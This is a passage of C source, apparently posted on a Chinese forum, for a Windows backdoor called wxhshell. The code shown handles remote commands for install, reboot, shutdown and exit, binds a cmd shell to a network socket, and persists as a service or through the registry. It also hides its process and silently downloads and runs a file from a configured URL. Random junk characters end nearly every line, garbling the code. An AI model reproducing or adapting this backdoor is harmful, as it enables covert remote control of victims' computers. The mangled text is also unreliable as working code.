  case '?': { fhC=MJ @  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fF9vV. }  
    break; (YR1ML3N  
  } F2u{Wzr_@  
  // 安装 bZ389dSn  
  case 'i': { kqy Y:J  
    if(Install()) Jlzhn#5c-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }/=VnCfU  
    else NZl0sX.:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^Ab|\ 5^3  
    break; Oz+>I ^Q  
    } ]!f=b\-Av  
  // 卸载 _K9jj  
  case 'r': { A_[65'*b  
    if(Uninstall()) =.uE(L`]NA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }NUP[%  
    else 8T%z{A1T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); old}}>_  
    break; +pE-Yn`YS  
    } O9qEKW)a  
  // 显示 wxhshell 所在路径 vX{]_  
  case 'p': { $GcVC (]  
    char svExeFile[MAX_PATH]; lAoH@+dyA+  
    strcpy(svExeFile,"\n\r"); DukCXyB*l  
      strcat(svExeFile,ExeFile); ?(mlt"tPk  
        send(wsh,svExeFile,strlen(svExeFile),0); 1|zo -'y  
    break; G6I>Ry[2?  
    } SnVnC09y  
  // 重启 V8c&2rNa  
  case 'b': { KQEnC`Nz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `InS8PLr  
    if(Boot(REBOOT)) U?kJXM2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kefQH\<X  
    else { ?&N JN/+%  
    closesocket(wsh); #vIF]Y  
    ExitThread(0); IQR?n}ce  
    } En[cg  
    break; *t~( _j  
    } E*CY/F I_  
  // 关机 [Y5B$7|s<  
  case 'd': { E")82I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GU_R6Wt+  
    if(Boot(SHUTDOWN)) chxO*G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,l~i|_  
    else { $oh}!Smt  
    closesocket(wsh); {| Tl3  
    ExitThread(0); D].1X0^hp  
    } w,^!kO0)~8  
    break; _PJd1P.k  
    } b,s T[!X[  
  // 获取shell %rYd=Ri  
  case 's': { C EAwQH  
    CmdShell(wsh); M[SWMVN{  
    closesocket(wsh); p0[ %+n%  
    ExitThread(0); :]:q=1;c  
    break; nq r[HFWs  
  } hH%@8'1v  
  // 退出 2jA-y!(e  
  case 'x': { JEj.D=@[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V,lz}&3L  
    CloseIt(wsh); }O8$?7j(  
    break; *;Sj&O  
    } Yf<6[(6 O  
  // 离开  w;)@2}  
  case 'q': { !A g W @  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 85-00m ~  
    closesocket(wsh); )p 2kx  
    WSACleanup(); IE,xiV  
    exit(1); >=$( ,8"  
    break; iE>T5XV8$B  
        } TTu<~GH  
  } !@5B:n*  
  } EE-jU<>|  
]Z6==+mCP  
  // 提示信息 E{|j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); usX aT(K  
} F~4oPB K<  
  } :Fu.S1j$  
O\8_;Gc;  
  return; WF`y j%0  
} bZz ,'  
Qn6'E  
// shell模块句柄 i#=s_v8  
int CmdShell(SOCKET sock) O6 bB CF;  
{ % ,1bh  
STARTUPINFO si; =UT*1-yh R  
ZeroMemory(&si,sizeof(si)); n}}$-xl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \= =rdW-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8 Zhx&  
PROCESS_INFORMATION ProcessInfo; >Ta|#]{  
char cmdline[]="cmd"; {L4ta~2/T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]gx]7  
  return 0; CM|?;PBuv  
} c/%i,N\5  
cba ~  
// 自身启动模式 73 ix4C  
int StartFromService(void) 09HlL=0q  
{ AQ7w5}g+V  
typedef struct %dw@;IZ#8{  
{ fIWOo >)D  
  DWORD ExitStatus; 4'_PLOgnX  
  DWORD PebBaseAddress; 1U^;fqvja  
  DWORD AffinityMask; TldqF BX  
  DWORD BasePriority; Q!9AxM2K  
  ULONG UniqueProcessId; My vp PW  
  ULONG InheritedFromUniqueProcessId; U8m/L^zh  
}   PROCESS_BASIC_INFORMATION; tY'fFz^Ho  
fq-e2MCX5  
PROCNTQSIP NtQueryInformationProcess; ezS@LFaA  
q &]I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t4X:I&l-M:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8 6y)+h`  
eEl}.W}  
  HANDLE             hProcess; AU0pJB'  
  PROCESS_BASIC_INFORMATION pbi; _[SW89zk  
W"MwpV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {$5?[KD  
  if(NULL == hInst ) return 0; AR8zCKBc^  
}V:ZGP#!'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SoC3)iqv/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z3>ldT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MROe"Xj  
x/7kcj!O  
  if (!NtQueryInformationProcess) return 0; *jE> (J`  
Hwiw:lPq`E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  <m7m  
  if(!hProcess) return 0; G6@XRib3  
Jga;nrU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ny'?Hl'Q  
#k?uYg8  
  CloseHandle(hProcess); ~?E.U,R  
Q#M@!&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gn,D9d+  
if(hProcess==NULL) return 0; &BxDS .  
p$.m=+K~  
HMODULE hMod; _/xA5/V  
char procName[255]; awu18(;J  
unsigned long cbNeeded; 2nz^%pLT  
IqD;*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ePLpGT  
iX (<ozH  
  CloseHandle(hProcess); KUD&vqx3  
C ^QpVt-T  
if(strstr(procName,"services")) return 1; // 以服务启动 jTHgh>n  
wX/0.aZ|  
  return 0; // 注册表启动 z'"e|)  
} Es]:-TR  
!:BmDX[<n  
// 主模块 ?5VPV9EX  
int StartWxhshell(LPSTR lpCmdLine) '/O >#1  
{ [0>I6Jl  
  SOCKET wsl; Z/G`8|A  
BOOL val=TRUE; 8=kIN-l_  
  int port=0; #X 1 GL  
  struct sockaddr_in door; X?f\j"v  
\P~ h0zg?  
  if(wscfg.ws_autoins) Install(); \%BII>VS  
XSOSy2:  
port=atoi(lpCmdLine); \k 9EimT}  
+V Oczl=  
if(port<=0) port=wscfg.ws_port; v0q(k;Ya  
6~b)Hc/  
  WSADATA data; 8@rddk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ar{7H)V:  
Rq@M~;p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (Y!{ UNq5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +YD_ L  
  door.sin_family = AF_INET; G1tua"Px  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  4>R)2g  
  door.sin_port = htons(port); "Sb<"$ :  
a*2JLK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ka=EOiX.  
closesocket(wsl); 9@3cz_[J  
return 1; %r =9,IJ  
} 'LX]/ D  
b%wm-p  
  if(listen(wsl,2) == INVALID_SOCKET) { +Z7:(o<  
closesocket(wsl); (baBi9<P=  
return 1; v{r,Wy3  
} nI_UL  
  Wxhshell(wsl); 0+{CN|0  
  WSACleanup(); 8.WZC1N  
$ VTk0J-W  
return 0; u; G-46  
2QIx~Er  
} Ci9]#)"c  
%n B}Hq ;  
// 以NT服务方式启动 hEhvA6f,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <rI8O;\H  
{ C.`!?CW  
DWORD   status = 0; ]iezwz`'  
  DWORD   specificError = 0xfffffff; \p.eY)>  
\DMZ M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bDtb"V8e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %LjhK,'h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \%/Y(YVm  
  serviceStatus.dwWin32ExitCode     = 0; &"6%D|Z0  
  serviceStatus.dwServiceSpecificExitCode = 0; +bdjZD3  
  serviceStatus.dwCheckPoint       = 0; L)"E_  
  serviceStatus.dwWaitHint       = 0; FE'F@aS\  
q=x1:^rVH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^~` t q+  
  if (hServiceStatusHandle==0) return; CNM pyr  
=wquFA!c  
status = GetLastError(); Mwtd<7<!A  
  if (status!=NO_ERROR) V:'_m'.-Y  
{ M$Or|HTG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fx=HKt  
    serviceStatus.dwCheckPoint       = 0; IeT1Jwe  
    serviceStatus.dwWaitHint       = 0; HDHC9E6  
    serviceStatus.dwWin32ExitCode     = status; Ihy76_OZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; \f4JIsZ-&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 68QA%m'J  
    return; 6Eu"T9 (  
  } W[B;;"ro  
'U*Kb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w%?6s3   
  serviceStatus.dwCheckPoint       = 0; ]I: h4hgw  
  serviceStatus.dwWaitHint       = 0; 0eFvcH:qG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I><sK-3  
} D` abVf  
1X-fiQJe  
// 处理NT服务事件,比如:启动、停止 @+&QNI06S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A(1d q  
{ P$i d?  
switch(fdwControl) w,VUWja  
{ 1kczlTF  
case SERVICE_CONTROL_STOP: d>hLnz1O  
  serviceStatus.dwWin32ExitCode = 0; krecUpo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i p; RlO  
  serviceStatus.dwCheckPoint   = 0; -F&*>?I  
  serviceStatus.dwWaitHint     = 0; lG R6S  
  { chszP{-@X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bM>5=Zox  
  } T:0#se  
  return; F.$NYr/|y  
case SERVICE_CONTROL_PAUSE: }%Vx2Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RxUzJ  
  break; <2ymfL-q  
case SERVICE_CONTROL_CONTINUE: "yf#sEabV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !b{7gUjyI  
  break; &BE'~G  
case SERVICE_CONTROL_INTERROGATE: IRK(y*6  
  break; }0 b[/ZwQ  
}; ;oivG)hJl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `3'4_@7s9  
} E-i <^&E  
LWIPq"  
// 标准应用程序主函数 `kM:5f+>W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dPb@[k  
{ 4n}^1eQ9  
"PfNC<MQo  
// 获取操作系统版本 ;S}_/'  
OsIsNt=GetOsVer(); f[+N=vr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q}|QgN  
(4"Azo*~![  
  // 从命令行安装 L9^h .Y7  
  if(strpbrk(lpCmdLine,"iI")) Install(); V[fcP;   
!A=>B=.|D  
  // 下载执行文件 Y N*"q'Yz_  
if(wscfg.ws_downexe) { Hq."_i{I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -iySU 6  
  WinExec(wscfg.ws_filenam,SW_HIDE); vJfj1 f  
} pa2cM%48  
*,#T&M7D  
if(!OsIsNt) { [*z`p;n2D  
// 如果时win9x,隐藏进程并且设置为注册表启动 o}6d[G>  
HideProc(); /2fQM_ ,P  
StartWxhshell(lpCmdLine); MB!$s_~o#L  
} <,huajQs  
else zOT(>1'  
  if(StartFromService()) u 4$$0 `  
  // 以服务方式启动 hM~zO1XW  
  StartServiceCtrlDispatcher(DispatchTable); gQlL0jAV  
else "FH03 9  
  // 普通方式启动 _su$]s  
  StartWxhshell(lpCmdLine); ]`u_d}`  
#9 u2LK  
return 0; !fK9YW(Im  
}
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只看该作者 1 发表于: 2006-10-10
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